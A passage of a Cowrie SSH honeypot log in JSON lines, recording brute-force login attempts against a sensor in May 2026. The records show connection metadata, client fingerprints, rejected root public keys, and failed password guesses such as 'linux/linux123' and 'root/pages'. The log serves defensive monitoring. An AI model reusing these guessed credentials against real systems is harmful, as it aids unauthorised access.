f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:39.020460Z","src_ip":"189.113.47.155","session":"ca16dbaec1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:39.510741Z","src_ip":"189.113.47.155","session":"ca16dbaec1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:40.629889Z","src_ip":"189.113.47.155","session":"ca16dbaec1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:43.472214Z","src_ip":"8.218.166.49","session":"14493c1cd979","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:45.961289Z","src_ip":"8.218.166.49","session":"3f3bb0d169f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:45.965116Z","src_ip":"8.218.166.49","session":"3f3bb0d169f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:52.057342Z","src_ip":"8.218.166.49","session":"5a1c7c283bd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":41636,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1f28467467","protocol":"ssh","message":"New connection: 149.56.241.206:41636 (10.17.0.5:22) [session: 8a1f28467467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.295150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.299570Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.322734Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:aa:a8:d4:d3:92:6c:c5:ff:99:51:37:ec:6b:33:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaWe1JBbCO0OiUh7yc6b13SHSTis2EFb1ivNIzTS8L7imNsN3hoV/baOOrzltPkS2gkPPwYU0H2qzjz5RqshRtvTzYLHXbK6m57klledWndxcTMH6tOLacoOoRRs1p9xCPmHIS2WYG9QkYw3X9CUx2VfAxb5sTYht+5rrx62syupmUOUSZm6blsZK9MddwuVYP67eOrNLeqilUmGirZsrWsyO8kpKSlodtG6pgyMy/sHbM1iPtGiqavXWNoKj0pratUO+S1Y1JZMFV2i6VbyAYfChKB74KmVWOneXKd7lyVePdLi11kw1wo3YEwOP/I6CA9vUfQpdJDnI4IPLY5SMh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:aa:a8:d4:d3:92:6c:c5:ff:99:51:37:ec:6b:33:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.403831Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:aa:a8:d4:d3:92:6c:c5:ff:99:51:37:ec:6b:33:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaWe1JBbCO0OiUh7yc6b13SHSTis2EFb1ivNIzTS8L7imNsN3hoV/baOOrzltPkS2gkPPwYU0H2qzjz5RqshRtvTzYLHXbK6m57klledWndxcTMH6tOLacoOoRRs1p9xCPmHIS2WYG9QkYw3X9CUx2VfAxb5sTYht+5rrx62syupmUOUSZm6blsZK9MddwuVYP67eOrNLeqilUmGirZsrWsyO8kpKSlodtG6pgyMy/sHbM1iPtGiqavXWNoKj0pratUO+S1Y1JZMFV2i6VbyAYfChKB74KmVWOneXKd7lyVePdLi11kw1wo3YEwOP/I6CA9vUfQpdJDnI4IPLY5SMh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.407464Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:03:55:a2:aa:b2:2b:2d:c1:f1:46:04:f5:23:36:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcGD4+6qTyd1/7lu+M3KKSp4nL4jfN59cJGWqtbjBYAcAAnRi+GIFr1I4HcLZq+owllaX/Sm25RU6/4NYy9Nkm1U8HsVxHBgGRnaPkMrr/lkfZ8QTbxb/ZwCe/g9pPed4t9dlZNEcJ2a2Y12P5aZ4DW4eL7rctAeMp1dgVgEnQ6DLy4ZjwN+ItXhAdjBoEGeK0kzsov/1hh1A/Ghbw/hH6OdhYVMQ1dhpl/r/tbLg878YI1vNBIrlbsmhTNDs2IAu7ciDOhQx4gRHQGXTI0/HvF1N1MUzPZjGhCHBkP1gF93Ho5SVKiPNUp6j7Jo3o+dk1m6i/K/Zkbwwm8Xpk7J4/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:03:55:a2:aa:b2:2b:2d:c1:f1:46:04:f5:23:36:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.434427Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:03:55:a2:aa:b2:2b:2d:c1:f1:46:04:f5:23:36:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcGD4+6qTyd1/7lu+M3KKSp4nL4jfN59cJGWqtbjBYAcAAnRi+GIFr1I4HcLZq+owllaX/Sm25RU6/4NYy9Nkm1U8HsVxHBgGRnaPkMrr/lkfZ8QTbxb/ZwCe/g9pPed4t9dlZNEcJ2a2Y12P5aZ4DW4eL7rctAeMp1dgVgEnQ6DLy4ZjwN+ItXhAdjBoEGeK0kzsov/1hh1A/Ghbw/hH6OdhYVMQ1dhpl/r/tbLg878YI1vNBIrlbsmhTNDs2IAu7ciDOhQx4gRHQGXTI0/HvF1N1MUzPZjGhCHBkP1gF93Ho5SVKiPNUp6j7Jo3o+dk1m6i/K/Zkbwwm8Xpk7J4/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.437755Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:81:bc:24:fb:3d:f3:17:af:a9:93:61:c3:b2:9c:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs29I32k2ZIV/JvjLekiQZ3Bby5hdE8MY/F89xNw03GkMWKMXUbea3yCTR3GvXv/4nDjdoeXWO3nxFWcieuBd4ouTskyI2sf2DVH1MHyGe+hPunzBJyKUiun6wSuQcFAVszzbiCGPAFGV+PkNuwS5vku0D1SZzVm0cb8YDrAInT31aP9CqNKwyMbBYH57AkITDwZtzOdw3ArQM47TcTes/Zc/JJm1WmFOvWzyQ71/Ra6lRQ5ODDXYJcSJiW+9VL0ZNXRnhQam6YWiqj3wDRginpi3ROW6cfLMv57xLes3/S0Welj936k4zN95CCPULb+++3Sw/9KM33bdaItwsk9yZs5CE0101AREa9TYpi4JxKL89pFBAGXRlqhTjIR6QC3F/4WZwVMUHXUYhyFSRdG7LsQIma0cetzyPeKuJxQhyK9BZNUNubfZtS5rYe6ktQnF7QkWPNmgaMkRjvlEvukOOLEgUSN9IwGZPJjyt0T5vdf9sluXPcW+xRCqbqBdSUJiHcqlmLcsSQk77tFwJKj0JDucyzOIm9BojMkv8L0LsGyr+jJtRmeJoWDjTKccHMxqiml03voc8wXpd/GsPEAV92wkpcR6psgeuVNmzdVDuUgFUJ5MFfSW6+7lQCFR206j1RGg/G5BtA9EbEf7kUcgJiVqyPYFdyEMtO52KZ4A6Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:81:bc:24:fb:3d:f3:17:af:a9:93:61:c3:b2:9c:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.458530Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:81:bc:24:fb:3d:f3:17:af:a9:93:61:c3:b2:9c:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDs29I32k2ZIV/JvjLekiQZ3Bby5hdE8MY/F89xNw03GkMWKMXUbea3yCTR3GvXv/4nDjdoeXWO3nxFWcieuBd4ouTskyI2sf2DVH1MHyGe+hPunzBJyKUiun6wSuQcFAVszzbiCGPAFGV+PkNuwS5vku0D1SZzVm0cb8YDrAInT31aP9CqNKwyMbBYH57AkITDwZtzOdw3ArQM47TcTes/Zc/JJm1WmFOvWzyQ71/Ra6lRQ5ODDXYJcSJiW+9VL0ZNXRnhQam6YWiqj3wDRginpi3ROW6cfLMv57xLes3/S0Welj936k4zN95CCPULb+++3Sw/9KM33bdaItwsk9yZs5CE0101AREa9TYpi4JxKL89pFBAGXRlqhTjIR6QC3F/4WZwVMUHXUYhyFSRdG7LsQIma0cetzyPeKuJxQhyK9BZNUNubfZtS5rYe6ktQnF7QkWPNmgaMkRjvlEvukOOLEgUSN9IwGZPJjyt0T5vdf9sluXPcW+xRCqbqBdSUJiHcqlmLcsSQk77tFwJKj0JDucyzOIm9BojMkv8L0LsGyr+jJtRmeJoWDjTKccHMxqiml03voc8wXpd/GsPEAV92wkpcR6psgeuVNmzdVDuUgFUJ5MFfSW6+7lQCFR206j1RGg/G5BtA9EbEf7kUcgJiVqyPYFdyEMtO52KZ4A6Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.462663Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:b5:42:58:75:cb:8f:74:16:d3:5b:e2:42:74:f6:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYhKpcZnbxW8WxRuMXyZu4dA0jh9vz9h+hjzVg36DgrekAs4G2++WjrrrvsJy0IhqnvlTWfEjJCJcaIkMLvCFC20rcGzr3SFmXrGYer6Pl6nerVUGmETXSvEzwsL45CNQRsM78sob9eZwi7mzG//oO3aWp8kwMXi3zpEjkE/quYId+Rfhtzq3LBRWGkmGkcVN60Fo2uycDynWXNk8taz81Xzj3WMY7jO91P4sFlBtebWP/yRh/5KeMuGVDK0UTFpHW/bDD23PulddHbZR4ummtvjYd6PD5lQxL6MSEFuwpmTFT2zXdaQDuMhZD1x03WktMYX7duh2Luu/6l2guTns1+KLbXA4ritknhJcpVL0Vx/dPGw6uTQutq4wKyg4iEAtKHBZ980VxSx+8Yk5Ty7EEly4hMM4tDwsty8vMYZBF5L0EjK8y+ALMuZ3nMg/2cNJ5iv/2yriFBxLhD3T2jtuBE6S/S0o0PdzByAlos7menpoN3a5fdVASwv/uUhkMJTz5GeXumB7j3dphUDnH7XmV9VsG75Ti5JfsuT+vg6y40bW8IXzSmAILs+cXVwhCs3+MZ7FNKBOxr789RIdY1SgUQKj01vNW90weCYGJzmL7Ixl1VSmd1ef99kAIB9sbyunMVnT9ewaQLmfZb0HaBGi3pEQs54ny8+OObhzaoBbfJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:b5:42:58:75:cb:8f:74:16:d3:5b:e2:42:74:f6:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.483557Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:b5:42:58:75:cb:8f:74:16:d3:5b:e2:42:74:f6:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYhKpcZnbxW8WxRuMXyZu4dA0jh9vz9h+hjzVg36DgrekAs4G2++WjrrrvsJy0IhqnvlTWfEjJCJcaIkMLvCFC20rcGzr3SFmXrGYer6Pl6nerVUGmETXSvEzwsL45CNQRsM78sob9eZwi7mzG//oO3aWp8kwMXi3zpEjkE/quYId+Rfhtzq3LBRWGkmGkcVN60Fo2uycDynWXNk8taz81Xzj3WMY7jO91P4sFlBtebWP/yRh/5KeMuGVDK0UTFpHW/bDD23PulddHbZR4ummtvjYd6PD5lQxL6MSEFuwpmTFT2zXdaQDuMhZD1x03WktMYX7duh2Luu/6l2guTns1+KLbXA4ritknhJcpVL0Vx/dPGw6uTQutq4wKyg4iEAtKHBZ980VxSx+8Yk5Ty7EEly4hMM4tDwsty8vMYZBF5L0EjK8y+ALMuZ3nMg/2cNJ5iv/2yriFBxLhD3T2jtuBE6S/S0o0PdzByAlos7menpoN3a5fdVASwv/uUhkMJTz5GeXumB7j3dphUDnH7XmV9VsG75Ti5JfsuT+vg6y40bW8IXzSmAILs+cXVwhCs3+MZ7FNKBOxr789RIdY1SgUQKj01vNW90weCYGJzmL7Ixl1VSmd1ef99kAIB9sbyunMVnT9ewaQLmfZb0HaBGi3pEQs54ny8+OObhzaoBbfJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.487333Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:f3:f5:9a:7f:5b:63:72:5a:5e:08:0b:c2:f8:ba:11","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJJBEGWCRmORKl49mTCf0fMDx6JXRJ4aLS4MCZxv7Au96tcHT3dzZ1ZHYt2NWyKCZIpzDPiPYfZhQD114oHXrDO6ioac5IbFxSc7RTEW5YX3gjhON52npOPG7P99ekPqLUJurUGzoI+T6Nfa0mxOISycNM4DAM5g4RFQZGohD+m5AAAAFQCHf3qF1/yapBzgB99d5FF27eM0WQAAAIBUByihGAN72+FrbALbLJERY1XyUmC/GGIrGi7zvyqKooE2yz3sCjfmap4nh+W2HLgciWpaV9wEPbMPIIlS10bsi+WRiF4VD4kZlQ+73vRRfIP2TtJgiYY/3Oq7Nfh+UDw2uEsj+FvwYRDryx83FoCM/KS5u6Xiv69rQVnUTOrCGAAAAIACH2Ihl9ePm34c4X6WzAkDkUDwt+SH4brWdrhSJbCMcUwmnIAIy+mV5jcMBO/NDaaWJVfTK5A/gUFm3tafAFw284l/yFkxVsyXbKgMSGXIRBgTAzFQgCGpIFlrZqQ0bdrhjzq7x4LcjQvS4RAUoEs2Rf7BGeXv1WyvY5HCt5NOtw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7b:f3:f5:9a:7f:5b:63:72:5a:5e:08:0b:c2:f8:ba:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.507554Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:f3:f5:9a:7f:5b:63:72:5a:5e:08:0b:c2:f8:ba:11","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJJBEGWCRmORKl49mTCf0fMDx6JXRJ4aLS4MCZxv7Au96tcHT3dzZ1ZHYt2NWyKCZIpzDPiPYfZhQD114oHXrDO6ioac5IbFxSc7RTEW5YX3gjhON52npOPG7P99ekPqLUJurUGzoI+T6Nfa0mxOISycNM4DAM5g4RFQZGohD+m5AAAAFQCHf3qF1/yapBzgB99d5FF27eM0WQAAAIBUByihGAN72+FrbALbLJERY1XyUmC/GGIrGi7zvyqKooE2yz3sCjfmap4nh+W2HLgciWpaV9wEPbMPIIlS10bsi+WRiF4VD4kZlQ+73vRRfIP2TtJgiYY/3Oq7Nfh+UDw2uEsj+FvwYRDryx83FoCM/KS5u6Xiv69rQVnUTOrCGAAAAIACH2Ihl9ePm34c4X6WzAkDkUDwt+SH4brWdrhSJbCMcUwmnIAIy+mV5jcMBO/NDaaWJVfTK5A/gUFm3tafAFw284l/yFkxVsyXbKgMSGXIRBgTAzFQgCGpIFlrZqQ0bdrhjzq7x4LcjQvS4RAUoEs2Rf7BGeXv1WyvY5HCt5NOtw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.511664Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:19:58.534478Z","src_ip":"149.56.241.206","session":"8a1f28467467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:02.229025Z","src_ip":"8.218.166.49","session":"00026dca0621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":56424,"dst_ip":"159.203.135.109","dst_port":22,"session":"5028fca77302","protocol":"ssh","message":"New connection: 124.155.125.131:56424 (159.203.135.109:22) [session: 5028fca77302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:03.833579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:03.842386Z","src_ip":"124.155.125.131","session":"5028fca77302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:04.021082Z","src_ip":"124.155.125.131","session":"5028fca77302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pages","message":"login attempt [root/pages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:04.758324Z","src_ip":"124.155.125.131","session":"5028fca77302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:05.938403Z","src_ip":"124.155.125.131","session":"5028fca77302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:20.897444Z","src_ip":"8.218.166.49","session":"3f3bb0d169f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e90e6de38d0","protocol":"ssh","message":"New connection: 8.218.166.49:52234 (10.17.0.5:22) [session: 9e90e6de38d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:32.843063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:20:33.053351Z","src_ip":"8.218.166.49","session":"9e90e6de38d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 